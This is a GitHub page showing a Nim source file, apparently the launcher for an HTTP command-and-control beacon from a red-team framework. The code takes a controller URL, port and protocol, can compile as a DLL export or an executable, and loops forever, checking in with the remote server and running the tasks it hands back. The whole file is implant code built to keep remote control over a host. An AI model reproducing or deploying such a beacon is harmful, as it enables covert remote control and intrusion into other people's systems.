-
Notifications
You must be signed in to change notification settings - Fork 0
/
BeaconHttpLauncher.nim
57 lines (39 loc) · 1.1 KB
/
BeaconHttpLauncher.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import algorithm
import asyncdispatch
import base64
import json
import std/os
import BeaconHttp
proc error*(message: string, exception: ref Exception) =
echo message
echo exception.getStackTrace()
when appType == "lib":
{.pragma: rtl, exportc, dynlib, cdecl.}
else:
{.pragma: rtl, }
proc main() {.async, rtl.} =
if paramCount() != 3:
echo "Usage: BeaconHttpLauncher <url> <port> <http/https>"
return
var url = paramStr(1)
var port = paramStr(2)
var isHttp = paramStr(3)
var fullUrl = "http://"
if isHttp == "https":
fullUrl = "https://"
fullUrl.add(url)
var beaconHttp = BeaconHttp()
beaconHttp.initBeaconHttp(fullUrl, port)
while true:
try:
beaconHttp.checkIn()
beaconHttp.runTasks()
except:
let
e = getCurrentException()
msg = getCurrentExceptionMsg()
echo "Inside checkIn, got exception ", repr(e), " with message ", msg
error("stacktrace", e)
await sleepAsync(beaconHttp.sleepTimeMs)
when appType != "lib":
waitFor main()